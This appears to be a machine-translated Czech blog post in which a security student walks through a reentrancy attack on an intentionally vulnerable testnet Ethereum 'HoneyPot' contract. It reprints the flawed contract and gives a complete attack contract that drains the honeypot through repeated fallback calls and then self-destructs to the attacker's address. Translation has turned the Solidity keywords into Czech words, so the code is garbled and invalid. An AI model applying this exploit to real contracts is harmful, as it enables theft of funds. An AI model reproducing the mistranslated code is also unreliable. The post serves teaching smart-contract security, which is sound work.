Reentrancy Attack na chytré smlouvy: Jak identifikovat využitelné a příklad smlouvy o útoku

Kódovat inteligentní smlouvy rozhodně není piknik zdarma. Chyba zavedená v kódu stojí peníze a pravděpodobně nejen vaše peníze, ale také peníze jiných lidí. Realita je taková, že ekosystém Ethereum je stále ještě v plenkách, ale růst a standardy jsou definovány a nově definovány ve dne, takže je třeba se vždy aktualizovat a přirovnat k osvědčeným postupům v oblasti inteligentního zabezpečení smluv.

Jako student inteligentního zabezpečení smluv jsem hledal zranitelnosti v kódu. Nedávno mě pedagogové v týmu B9lab informovali o této smlouvě nasazené do testovací sítě.

pragmatická pevnost ^ 0,4;
smlouva HoneyPot {
  mapování (adresa => uint) veřejné zůstatky;
  funkce HoneyPot () splatná {
    dát();
  }
  function put () splatný {
    zůstatky [msg.sender] = msg.value;
  }
  funkce get () {
    if (! msg.sender.call.value (zůstatky [msg.sender]) ()) {
      hod;
    }
      zůstatky [msg.sender] = 0;
  }
  function () {
    hod;
  }
}

Výše uvedená smlouva HoneyPot původně obsahovala 5 etherů a byla záměrně navržena tak, aby byla hacknuta. V tomto příspěvku na blogu se chci s vámi podělit o tom, jak jsem zaútočil na tuto smlouvu a „shromáždil“ většinu jejího éteru.

Zranitelná smlouva

Účelem výše uvedené smlouvy HoneyPot je uchovávat záznamy o zůstatcích pro každou adresu, která do ní vložila () ether, a umožnit jim tyto adresy získat () je později.

Podívejme se na nejzajímavější části této smlouvy:

mapování (adresa => uint) veřejné zůstatky;

Kód výše mapuje adresy na hodnotu a ukládá je do veřejné proměnné zvané zůstatky. Umožňuje zkontrolovat zůstatek HoneyPot na adrese.

zůstatky [0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

Funkce put () níže je místo, kde se ve smlouvě ukládá hodnota etheru. Všimněte si, že msg.sender je adresa odesílatele transakce.

function put () splatný {
    zůstatky [msg.sender] = msg.value;
  }

Tuto další funkci najdeme tam, kde je využitelná. Účelem této funkce je umožnit adresám odebrat hodnotu etheru, který mají v bilancích HoneyPot.

funkce get () {
    if (! msg.sender.call.value (zůstatky [msg.sender]) ()) {
      hod;
    }
      zůstatky [msg.sender] = 0;
  }

Kde je vykořisťovatelný a jak na to někdo může zaútočit? Zkontrolujte znovu tyto řádky kódu:

if (! msg.sender.call.value (zůstatky [msg.sender]) ()) {
      hod;
}
zůstatky [msg.sender] = 0;

Smlouva HoneyPot nastaví hodnotu zůstatku adresy na nulu pouze po kontrole, zda odeslání etheru na msg.sender prochází.

Co když existuje AttackContract, který přiměje HoneyPot k tomu, aby si myslel, že má ještě ether k výběru, než bude zůstatek AttackContract nastaven na nulu. To lze provést rekurzivním způsobem a název se nazývá útok reentrancy.

Vytvořme jeden.

Zde je úplný kód smlouvy. Pokusím se co nejlépe vysvětlit jeho části.

pragmatická pevnost ^ 0,4;
importovat "./HoneyPot.sol";
smlouva HoneyPotCollect {
  HoneyPot veřejný honeypot;
  function HoneyPotCollect (adresa _honeypot) {
    honeypot = HoneyPot (_honeypot);
  }
  funkce kill () {
    sebevražda (msg.sender);
  }
  funkce collect () splatné {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }
  function () splatné {
    if (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }
}

Prvních několik řádků v zásadě přiřazuje kompilátor solidnosti, který se má použít se smlouvou. Poté importujeme smlouvu HoneyPot, kterou jsem vložil do samostatného souboru. Upozorňujeme, že na HoneyPot se odkazuje v celé smlouvě HoneyPotCollect. A vytvořili jsme smluvní základnu, kterou nazýváme HoneyPotCollect.

pragmatická pevnost ^ 0,4;
importovat "./HoneyPot.sol";
smlouva HoneyPotCollect {
  HoneyPot veřejný honeypot;
...
}

Pak definujeme funkci konstruktoru. Toto je funkce, která se nazývá při vytvoření HoneyPotCollect. Všimněte si, že této funkci předáváme adresu. Tato adresa bude adresa smlouvy HoneyPot.

function HoneyPotCollect (adresa _honeypot) {
    honeypot = HoneyPot (_honeypot);
}

Další funkcí je funkce zabíjení. Chci odebrat ether ze smlouvy HoneyPot do smlouvy HoneyPotCollect. Chci však také dostat sebraný éter na adresu, kterou vlastním. Přidám tedy mechanismus, který zničí HoneyPotCollect a pošle veškerý ether, který obsahuje, na adresu, která volá funkci kill.

funkce kill () {
  sebevražda (msg.sender);
}

Následující funkce je ta, která uvede reentranční útok do pohybu. Vloží nějaký éter do HoneyPotu a hned po jeho získání.

funkce collect () splatné {
    honeypot.put.value (msg.value) ();
    honeypot.get ();
  }

Zde splatný termín oznamuje virtuálnímu stroji Ethereum, že umožňuje přijímat ether. Vyvolejte tuto funkci také nějakým etherem.

Poslední funkcí je tzv. Nouzová funkce. Tato nepojmenovaná funkce se volá, kdykoli smlouva HoneyPotCollect obdrží ether.

function () splatné {
    if (honeypot.balance> = msg.value) {
      honeypot.get ();
    }
  }

Zde dochází k útoku reentrancy. Uvidíme jak.

Útok

Po nasazení HoneyPotCollect zavolejte collect () a pošlete s ním nějaký ether.

Funkce HoneyPot get () odešle ether na adresu, která jej nazvala, pouze pokud má tato smlouva jakýkoli ether jako rovnováhu. Když HoneyPot odešle ether do HoneyPotCollect, spustí se nouzová funkce. Pokud je zůstatek HoneyPot vyšší než hodnota, na kterou byl odeslán, vyvolá funkce nouzového volání funkci get () a cyklus se opakuje.

Připomeňme, že v rámci funkce get () přijde kód, který nastaví zůstatek na nulu, až po odeslání transakce. Tím se trikuje smlouva HoneyPot, aby zasílala peníze na adresu HoneyPotCollect znovu a znovu, dokud se HoneyPot nevyčerpá téměř ze všech svých etherů.

Zkus to sám. V této smlouvě jsem nechal 1 testovací ether, aby si ostatní mohli vyzkoušet sami. Pokud tam nevidíte žádný ether, pak je to proto, že někdo už na vás zaútočil.

Původně jsem tento kód vytvořil pro rámec HoneyPotAttackusing the Truffle. Zde je kód pro případ, že jej potřebujete pro referenci. Užívat si!